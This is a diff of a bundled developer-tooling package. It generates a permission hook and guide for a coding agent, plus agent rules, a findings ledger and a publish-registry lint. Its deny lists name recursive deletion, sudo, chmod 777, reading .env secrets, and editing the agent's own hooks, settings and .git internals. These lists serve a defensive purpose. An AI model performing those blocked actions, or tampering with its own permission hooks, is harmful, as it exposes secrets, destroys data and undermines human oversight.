});\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n \"-I\",\n \"-d\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-E\",\n \"-a\",\n \"--max-args\",\n \"--max-procs\",\n \"--delimiter\",\n \"--replace\",\n \"--max-lines\",\n \"--max-chars\",\n \"--arg-file\",\n \"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n \"-0\",\n \"--null\",\n \"-t\",\n \"--verbose\",\n \"-r\",\n \"--no-run-if-empty\",\n \"-p\",\n \"--interactive\",\n \"-x\",\n \"--exit\",\n \"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* Passthrough if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n let i = 1;\n while (i < tokens.length) {\n const t = tokens[i];\n if (!t.startsWith(\"-\")) break;\n if (XARGS_ARG_FLAGS.has(t)) {\n i += 2;\n continue;\n }\n const eqIdx = t.indexOf(\"=\");\n if (eqIdx !== -1) {\n const flagName = t.slice(0, eqIdx);\n if (XARGS_ARG_FLAGS.has(flagName)) {\n i++;\n continue;\n }\n }\n if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n i++;\n continue;\n }\n if (XARGS_BOOL_FLAGS.has(t)) {\n i++;\n continue;\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs with unrecognised flags\"\n };\n }\n if (i >= tokens.length) return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs without command\"\n };\n return evaluateCommand(joinTokens(tokens.slice(i)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Glob\",\n \"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\n/**\n* The harness directs every temporary file to a per-session scratchpad under\n* the system temp directory, so denying it puts the hook at odds with the\n* prompt it ships beside.\n*\n* Matching the session id as a path segment rather than reconstructing the\n* documented full path is deliberate: the reconstruction encodes several\n* harness conventions, and when one changes it fails silently back to denying\n* every scratchpad write. The id arrives in the same payload as the path, so\n* the reach is one session's own temp tree.\n*\n* The payload schema only requires a string, so a degenerate id (empty, or a\n* couple of characters) would match as a path segment of nearly every path\n* under the temp directory and widen the allow to all of it. Real ids are\n* UUIDs; the length floor bounds the blast radius by construction rather than\n* trusting the harness to always produce one.\n*\n* `isWithin` compares lexically and does not resolve symlinks, so a symlink\n* planted inside the scratchpad pointing outside it is not caught. That\n* residual is accepted deliberately, the same as the cwd-scoped rules below --\n* the hook is a guardrail against accidents and prompt fatigue, not a sandbox.\n*/\nfunction isSessionScratch(filePath, ctx) {\n const { sessionId } = ctx;\n if (!sessionId || sessionId.length < MIN_SESSION_ID_LENGTH) return false;\n const resolved = resolveIn(ctx.cwd, filePath);\n if (!isWithin(os.tmpdir(), resolved)) return false;\n return resolved.split(path.sep).includes(sessionId);\n}\n/** Real session ids are UUIDs; see the length-floor rationale above. */\nconst MIN_SESSION_ID_LENGTH = 16;\nconst fileDenyRules = [\n {\n name: \"env-file-read\",\n tools: READ_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"env-file-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't write to .env files. These contain secrets.\"\n },\n {\n name: \"hooks-folder-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n return isWithin(path.join(ctx.cwd, \".claude\", \"hooks\"), resolved);\n },\n reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n },\n {\n name: \"git-dir-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n reason: \"Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n },\n {\n name: \"node-modules-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\"\n },\n {\n name: \"claude-settings-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n return samePath(resolveIn(ctx.cwd, filePath), path.join(ctx.cwd, \".claude\", \"settings.json\"));\n },\n reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n },\n {\n name: \"outside-cwd-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n if (isWithin(ctx.cwd, resolved)) return false;\n if (isWithin(path.join(os.homedir(), \".claude\"), resolved)) return false;\n if (isSessionScratch(filePath, ctx)) return false;\n return true;\n },\n reason: \"Don't write files outside the project directory.\"\n }\n];\nconst fileAllowRules = [\n {\n name: \"session-scratchpad-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"session-scratchpad-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"cwd-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n },\n {\n name: \"cwd-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n }\n];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Write\",\n \"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns allow, deny, or passthrough.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n const filePath = extractPath(toolName, toolInput, ctx.cwd);\n if (filePath === null) return {\n action: \"passthrough\",\n rule: null,\n reason: \"unknown tool input shape\"\n };\n for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n for (const rule of fileAllowRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"no file rule matched\"\n };\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n audit({\n sessionId: \"unknown\",\n cwd: \"unknown\",\n command: `<invalid input: ${inputResult.error}>`,\n decision: \"passthrough\",\n rule: null,\n reason: `validation failed: ${inputResult.error}`\n });\n process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n \"Bash\",\n \"Read\",\n \"Write\",\n \"Edit\",\n \"Glob\",\n \"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n const bashInput = parseBashInput(input.tool_input);\n if (!bashInput) {\n audit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n decision: \"passthrough\",\n rule: null,\n reason: \"Bash tool_input missing or invalid 'command' field\"\n });\n process.exit(0);\n }\n decision = evaluateCommand(bashInput.command, {\n cwd: input.cwd,\n depth: 0,\n repoAllowPatterns: repoSettings.allow,\n repoProtectedBranches: repoSettings.protectedBranches\n });\n auditCommand = bashInput.command;\n} else {\n const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n decision = evaluateToolUse(input.tool_name, input.tool_input, {\n cwd: projectDir,\n sessionId: input.session_id\n });\n const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: auditCommand,\n decision: decision.action,\n rule: decision.rule,\n reason: decision.reason\n});\nif (decision.action === \"allow\") writeDecision(\"allow\", decision.advice);\nelse if (decision.action === \"deny\") writeDecision(\"deny\", decision.reason);\n\n//#endregion\nexport { };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that evaluates Bash commands\nand file tool operations before execution. Commands fall into three tiers:\n\n- **Denied** -- blocked with a redirect message\n- **Allowed** -- auto-approved, no prompt\n- **Passthrough** -- falls through to Claude Code's normal permission prompt\n\nAn allow may additionally carry a non-blocking advisory -- e.g. creating a feature branch\nin the primary worktree suggests using a `git worktree` instead. It never blocks; the\ntiers above are unchanged.\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **rm-recursive**: Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-reset-hard**: Don't `reset --hard` on main. Create a branch first.\n- **git-discard-changes**: `-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\n- **git-bare-checkout**: Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\n- **git-protected-branch-write**: Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\n- **git-protected-branch-force-create**: Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\n- **git-write**: This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n- **outside-cwd-write**: Don't write files outside the project directory.\n\n## Auto-approved commands\n\nThese run without prompting.\n\n### Bash\n\n- **Test runners**: vitest, jest\n- **Type checking**: tsc\n- **Build tools**: tsdown\n- **Tooling CLI**: bst (checks:run, hooks:audit, docker:build, docker:check, repo:sync), bst-agent (the agent package's bin: every safe bst subcommand, plus agent:repair-candidates, agent:review-rounds and agent:transcript. agent:start prompts)\n- **Linters & formatters**: oxlint, oxfmt, eslint, prettier, biome, knip\n- **Read-only commands**: cat, head, tail, grep, ls, wc, uniq, diff, echo, pwd, which, dirname, basename, realpath\n- **Package managers (read-only)**: npm (view, info, show only)\n- **Shell builtins**: test, bracket-test\n- **Navigation**: cd, true, colon\n- **Conditional commands**: find (without -exec, -delete), sort (without -o / --output)\n- **Git read operations**: git (status, log, diff, show, blame, branch, remote, fetch, rev-parse, etc.)\n- **Git read-only forms of write verbs**: git-read-only-form (`--help` immediately after any subcommand (not `-h` -- an alias still runs with it); `git tag` listing forms (bare, -l/--list, --points-at, --contains, --merged, --sort, --format); `git clean -n`/`--dry-run` without -f. Writing forms of tag and clean stay denied)\n- **Git safe writes**: git-safe-write (add, `switch <branch>` (existing branch), switch -c/-C (new branch), checkout -b/-B (new branch), stash push/pop/apply/show, mv (docs/*.md only), worktree list/add (remove/prune/move prompt -- they can delete uncommitted work). -C/-B/--force-create onto a protected branch name (main/master/default, or repo-configured) is denied instead of created, since it resets an existing branch rather than merely creating one. switch/checkout otherwise auto-approve only with recognized non-discarding flags: -f/--discard-changes discards uncommitted work and is denied, any other flag prompts)\n- **Git writes (feature branches)**: git-feature-branch-write (commit, merge, rebase, cherry-pick, revert, reset (only when current branch is not main/master/default; push is never auto-approved))\n- **Git push (feature branches)**: git-safe-push (push with an explicit refspec (e.g. `git push origin feat/x`) from a non-protected branch to a non-protected destination on a configured remote (--force-with-lease ok; --force, --tags, --delete, --mirror, and pushes to main are not). A push with no refspec (bare `git push` / `git push <remote>`) is never auto-approved -- its destination comes from push.default/upstream config, which is not resolved here)\n- **pnpm (safe built-ins)**: pnpm (list, why, view, info, show, outdated, install (bare only))\n- **File operations (within project)**: cp (paths must be within project directory), mkdir (paths must be within project directory), touch (paths must be within project directory), mv-docs (mv only between docs/*.md paths (plan-lifecycle moves)), sed-docs (sed only on docs/*.md files (plan-lifecycle edits))\n\n### File tools\n\n- **Read/Glob/Grep**: the per-session scratchpad under the system temp directory\n- **Write/Edit**: the per-session scratchpad under the system temp directory\n- **Read/Glob/Grep**: Allowed within project directory\n- **Write/Edit**: Allowed within project directory\n\n## Passthrough\n\nEverything not listed above triggers Claude Code's normal permission prompt.\nCommon examples:\n\n- `pnpm add <pkg>`, `pnpm dlx <pkg>` (dependency changes)\n- `mv`, `git mv` (file moves outside `docs/*.md`)\n- `git rm` (without `-r`)\n- `node`, `npx` scripts\n- Commands with output redirection (`> file`)\n- Any unrecognized command\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment must be allowed; any deny blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n", "bst-hook-guide.md")];
|
|
7646
7723
|
}
|
|
7647
7724
|
//#endregion
|
|
7648
7725
|
//#region src/generators/claude-settings.ts
|
|
@@ -8309,7 +8386,7 @@ const AGENT_RULES_TAIL = [
|
|
|
8309
8386
|
"",
|
|
8310
8387
|
"- Default to none. A comment earns its place by carrying what the code cannot -- a rejected alternative, the bug that forced this shape, an invariant enforced elsewhere -- and earns it one decision at a time, in a sentence or two each: what was rejected, and what it cost. Five decisions is five sentences, not five paragraphs. Recoverable from the code? Leave it unwritten.",
|
|
8311
8388
|
"- Present tense, about what is. No `now`, `previously`, `changed to`: diff narration is stale on the next edit, and the commit message carries it.",
|
|
8312
|
-
"- Never cite a
|
|
8389
|
+
"- Never cite a lifecycle-managed doc from code: no path under `docs/superpowers/` or `docs/design/`, none carrying a `retired/` or `completed/` segment, no `docs/plan-*.md`, and no bare decision or task ID (`D3`, `T2`). They move, retire, and renumber, nothing checks the reference, and the reader has no way to tell a dead one from a live one. State the constraint itself, or cite a maintained reference doc instead. A `docs/` path that is a glob or an elided example rather than a reference (`docs/*.md`) is vocabulary, not a citation, and is fine.",
|
|
8313
8390
|
"- **The code is the fact.** When a comment disagrees with it, fix it in one line or delete it -- never grow one to argue the code is right.",
|
|
8314
8391
|
"",
|
|
8315
8392
|
"#### Git discipline",
|
|
@@ -8349,6 +8426,18 @@ function agentRulesBody(config) {
|
|
|
8349
8426
|
return lines.join("\n");
|
|
8350
8427
|
}
|
|
8351
8428
|
/**
|
|
8429
|
+
* The findings-ledger protocol, unconditional like `agent-rules`: it names no stack-specific
|
|
8430
|
+
* tool, so both the interactive Claude Code side of a synced repo and any human beside it
|
|
8431
|
+
* learn the same thing the agent's container prompts already carry. Short on purpose -- the
|
|
8432
|
+
* three `bst findings:*` commands own the mechanics, so this teaches the protocol, not the
|
|
8433
|
+
* format.
|
|
8434
|
+
*/
|
|
8435
|
+
const FINDINGS_LEDGER_BODY = [
|
|
8436
|
+
"#### Findings ledger",
|
|
8437
|
+
"",
|
|
8438
|
+
"A defect you notice but are not fixing in the current change -- a nit, or something pre-existing -- goes in `.agent/findings/`, one file per finding, via `bst findings:add` (never hand-write the filename: a name the parser cannot read back is silently dropped from every listing). A finding names the PR or issue that surfaced it. The file IS the pending state: merging it enqueues it for the automated backlog run, fixing or refuting it means deleting the file in the same commit (`bst findings:resolve`), and deferring it appends a note (`bst findings:resolve --defer`). A finding only a human can decide leaves the ledger as an issue: the backlog run escalates it through the `human-decision` follow-up route and deletes the file; by hand, file the issue yourself and `bst findings:resolve` the entry. `bst findings:list` shows what is pending."
|
|
8439
|
+
].join("\n");
|
|
8440
|
+
/**
|
|
8352
8441
|
* The coverage-baseline rule that the agent must consult before declaring a
|
|
8353
8442
|
* task complete. `bst coverage:check` names the regressed totals and the
|
|
8354
8443
|
* tolerance itself, so this states when to run it and what to do with each
|
|
@@ -8497,6 +8586,13 @@ async function generateClaudeMd(ctx) {
|
|
|
8497
8586
|
body: agentRulesBody(ctx.config),
|
|
8498
8587
|
enabled: true
|
|
8499
8588
|
},
|
|
8589
|
+
{
|
|
8590
|
+
name: "findings-ledger",
|
|
8591
|
+
startMarker: "<!-- @tooling:findings-ledger -->",
|
|
8592
|
+
endMarker: "<!-- @tooling:endfindings-ledger -->",
|
|
8593
|
+
body: FINDINGS_LEDGER_BODY,
|
|
8594
|
+
enabled: true
|
|
8595
|
+
},
|
|
8500
8596
|
{
|
|
8501
8597
|
name: "check-cadence",
|
|
8502
8598
|
startMarker: "<!-- @tooling:check-cadence -->",
|
|
@@ -8663,7 +8759,7 @@ function reportFailures(failed, command) {
|
|
|
8663
8759
|
function generateMigratePrompt(results, config, detected) {
|
|
8664
8760
|
const sections = [];
|
|
8665
8761
|
const timestamp = (/* @__PURE__ */ new Date()).toISOString();
|
|
8666
|
-
sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.
|
|
8762
|
+
sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.74.0 repo:sync\` on ${timestamp}_\n`);
|
|
8667
8763
|
const changed = results.filter((r) => r.action === "created" || r.action === "updated" || r.action === "archived");
|
|
8668
8764
|
if (changed.length > 0) {
|
|
8669
8765
|
const items = changed.map((r) => {
|
|
@@ -9665,6 +9761,64 @@ function releaseTargetConflict(stack, releaseStrategy, targetDir) {
|
|
|
9665
9761
|
return detectForeignVersionOfRecord(targetDir);
|
|
9666
9762
|
}
|
|
9667
9763
|
//#endregion
|
|
9764
|
+
//#region src/release/publish-config-lint.ts
|
|
9765
|
+
const FIX = `add "publishConfig": { "registry": "<your registry URL>" } to its package.json`;
|
|
9766
|
+
/**
|
|
9767
|
+
* Whether a value can serve as a publish destination: an absolute http(s) URL.
|
|
9768
|
+
* Presence alone is not the test -- a relative or empty registry is as silently
|
|
9769
|
+
* wrong as an absent one, and npm resolves neither to the place the author meant.
|
|
9770
|
+
*/
|
|
9771
|
+
function isUsableRegistry(value) {
|
|
9772
|
+
if (typeof value !== "string" || value.trim() === "") return false;
|
|
9773
|
+
try {
|
|
9774
|
+
const url = new URL(value);
|
|
9775
|
+
return url.protocol === "https:" || url.protocol === "http:";
|
|
9776
|
+
} catch {
|
|
9777
|
+
return false;
|
|
9778
|
+
}
|
|
9779
|
+
}
|
|
9780
|
+
function isRecord(value) {
|
|
9781
|
+
return typeof value === "object" && value !== null && !Array.isArray(value);
|
|
9782
|
+
}
|
|
9783
|
+
/**
|
|
9784
|
+
* Require every package this repo would publish to declare where it publishes.
|
|
9785
|
+
*
|
|
9786
|
+
* npm and pnpm use one `registry` key for reads and writes alike, so a project
|
|
9787
|
+
* `.npmrc` aimed at an install cache silently repoints `pnpm publish` too. A
|
|
9788
|
+
* package that never declares its destination inherits one, and an inherited
|
|
9789
|
+
* destination can be changed by a file that never mentions publishing.
|
|
9790
|
+
*
|
|
9791
|
+
* Reports rather than repairs: the correct registry is not derivable here, and
|
|
9792
|
+
* writing a guess would redirect a working release exactly the way this gate
|
|
9793
|
+
* exists to prevent.
|
|
9794
|
+
*/
|
|
9795
|
+
function lintPublishConfig(targetDir, structure) {
|
|
9796
|
+
const issues = [];
|
|
9797
|
+
for (const pkg of getPublishablePackages(targetDir, structure)) {
|
|
9798
|
+
const manifest = readPackageJson(pkg.dir);
|
|
9799
|
+
if (!manifest) continue;
|
|
9800
|
+
const file = path.relative(targetDir, path.join(pkg.dir, "package.json"));
|
|
9801
|
+
const pc = manifest.publishConfig;
|
|
9802
|
+
const registry = isRecord(pc) ? pc["registry"] : void 0;
|
|
9803
|
+
if (registry === void 0) {
|
|
9804
|
+
issues.push({
|
|
9805
|
+
kind: "missing",
|
|
9806
|
+
package: pkg.name,
|
|
9807
|
+
file,
|
|
9808
|
+
message: `${pkg.name} is published from this repo but declares no publishConfig.registry, so its release destination is inherited -- a project .npmrc can repoint it silently. In ${file}, ${FIX}.`
|
|
9809
|
+
});
|
|
9810
|
+
continue;
|
|
9811
|
+
}
|
|
9812
|
+
if (!isUsableRegistry(registry)) issues.push({
|
|
9813
|
+
kind: "malformed",
|
|
9814
|
+
package: pkg.name,
|
|
9815
|
+
file,
|
|
9816
|
+
message: `${pkg.name} declares publishConfig.registry as ${JSON.stringify(registry)}, which is not an absolute http(s) URL and cannot be published to. In ${file}, ${FIX}.`
|
|
9817
|
+
});
|
|
9818
|
+
}
|
|
9819
|
+
return issues;
|
|
9820
|
+
}
|
|
9821
|
+
//#endregion
|
|
9668
9822
|
//#region src/checks/marker.ts
|
|
9669
9823
|
/**
|
|
9670
9824
|
* The reserved child-to-parent marker `bst checks:run` reads off a step's stdout -- the
|
|
@@ -9860,6 +10014,16 @@ function withAsciiCheck(checks) {
|
|
|
9860
10014
|
];
|
|
9861
10015
|
}
|
|
9862
10016
|
/**
|
|
10017
|
+
* The built-in step list, with the two opt-in gates spliced in per the loaded config -- the one
|
|
10018
|
+
* copy of that gating, shared by {@link staleChecksAddNames} and {@link coveredChecksAddEntries}.
|
|
10019
|
+
*/
|
|
10020
|
+
function resolveBuiltinChecks(config) {
|
|
10021
|
+
let builtin = CHECKS;
|
|
10022
|
+
if (config?.ascii?.enabled === true) builtin = withAsciiCheck(builtin);
|
|
10023
|
+
if (config?.health?.enabled === true) builtin = withHealthCheck(builtin);
|
|
10024
|
+
return builtin;
|
|
10025
|
+
}
|
|
10026
|
+
/**
|
|
9863
10027
|
* The `add` entries a built-in step already covers -- against the same opt-in gating the runner
|
|
9864
10028
|
* applies, so `health:check` in `add` is stale only where `health.enabled` makes it a built-in.
|
|
9865
10029
|
* The one staleness answer, shared by the runner (which silently deduplicates rather than running
|
|
@@ -9870,10 +10034,7 @@ function withAsciiCheck(checks) {
|
|
|
9870
10034
|
*/
|
|
9871
10035
|
function staleChecksAddNames(config, add = config?.checks?.add ?? []) {
|
|
9872
10036
|
if (add.length === 0) return [];
|
|
9873
|
-
|
|
9874
|
-
if (config?.ascii?.enabled === true) builtin = withAsciiCheck(builtin);
|
|
9875
|
-
if (config?.health?.enabled === true) builtin = withHealthCheck(builtin);
|
|
9876
|
-
const names = new Set(builtin.map((check) => check.name));
|
|
10037
|
+
const names = new Set(resolveBuiltinChecks(config).map((check) => check.name));
|
|
9877
10038
|
return add.filter((name) => names.has(name));
|
|
9878
10039
|
}
|
|
9879
10040
|
/** Check if a name matches any skip pattern. Supports glob syntax via picomatch. */
|
|
@@ -9882,6 +10043,68 @@ function shouldSkip(name, patterns) {
|
|
|
9882
10043
|
return picomatch.isMatch(name, [...patterns]);
|
|
9883
10044
|
}
|
|
9884
10045
|
/**
|
|
10046
|
+
* The effective script body(-ies) a covering step actually runs, mirroring the substitutions
|
|
10047
|
+
* {@link runRunChecks} applies: `lint` prefers `lint:report`, and `test` covers both `test` and
|
|
10048
|
+
* `test:coverage` since either can be the one that actually runs.
|
|
10049
|
+
*/
|
|
10050
|
+
function coveringStepBodies(name, scripts) {
|
|
10051
|
+
if (name === "lint") {
|
|
10052
|
+
const body = scripts["lint:report"] ?? scripts["lint"];
|
|
10053
|
+
return body === void 0 ? [] : [body];
|
|
10054
|
+
}
|
|
10055
|
+
if (name === "test") return [scripts["test"], scripts["test:coverage"]].filter((body) => body !== void 0);
|
|
10056
|
+
const body = scripts[name];
|
|
10057
|
+
return body === void 0 ? [] : [body];
|
|
10058
|
+
}
|
|
10059
|
+
/**
|
|
10060
|
+
* `staleChecksAddNames` catches only a name-level collision -- an `add` entry that IS a built-in
|
|
10061
|
+
* step. It misses the far more common shape: an `add` entry whose script is already invoked
|
|
10062
|
+
* INSIDE another step's script body (e.g. a `typecheck` script that chains
|
|
10063
|
+
* `&& pnpm typecheck:ui-client`). That is the live drift `repo:sync` cannot otherwise see, and
|
|
10064
|
+
* running the same script twice on every `pnpm check` is silent -- nothing fails, it just costs
|
|
10065
|
+
* time.
|
|
10066
|
+
*
|
|
10067
|
+
* This is deliberately substring-grade, not a shell parse: a token-anchored match (the same
|
|
10068
|
+
* anchoring {@link isCheckScriptForwardingSafe} uses) against each covering step's script body.
|
|
10069
|
+
* That makes it a heuristic, so it is report-only -- never consumed by {@link runRunChecks} --
|
|
10070
|
+
* the same "warning, not a gate" stance {@link staleChecksAddNames}'s report already takes on
|
|
10071
|
+
* dead config, just for a shape a name comparison cannot see.
|
|
10072
|
+
*
|
|
10073
|
+
* Both the candidate list and the covering-step search are filtered by `.tooling.json#checks.skip`
|
|
10074
|
+
* -- an entry the pipeline never runs cannot run twice, so it cannot be flagged as covered and it
|
|
10075
|
+
* cannot cover another entry either.
|
|
10076
|
+
*/
|
|
10077
|
+
function coveredChecksAddEntries(config, scripts) {
|
|
10078
|
+
const add = config?.checks?.add ?? [];
|
|
10079
|
+
if (add.length === 0) return [];
|
|
10080
|
+
const stale = new Set(staleChecksAddNames(config, add));
|
|
10081
|
+
const skip = new Set(config?.checks?.skip ?? []);
|
|
10082
|
+
const candidates = add.filter((name) => !stale.has(name) && !shouldSkip(name, skip));
|
|
10083
|
+
if (candidates.length === 0) return [];
|
|
10084
|
+
const builtinNames = resolveBuiltinChecks(config).map((check) => check.name);
|
|
10085
|
+
const entries = [];
|
|
10086
|
+
for (const candidate of candidates) {
|
|
10087
|
+
const coveringNames = [.../* @__PURE__ */ new Set([...builtinNames, ...candidates.filter((name) => name !== candidate)])].filter((name) => !shouldSkip(name, skip));
|
|
10088
|
+
const pattern = new RegExp(String.raw`(?:^|[\s/])${escapeRegex(candidate)}(?=\s|$)`);
|
|
10089
|
+
let matched;
|
|
10090
|
+
for (const coveringName of coveringNames) {
|
|
10091
|
+
for (const body of coveringStepBodies(coveringName, scripts)) {
|
|
10092
|
+
const fragment = commandSegments(body).find((segment) => pattern.test(segment));
|
|
10093
|
+
if (fragment === void 0) continue;
|
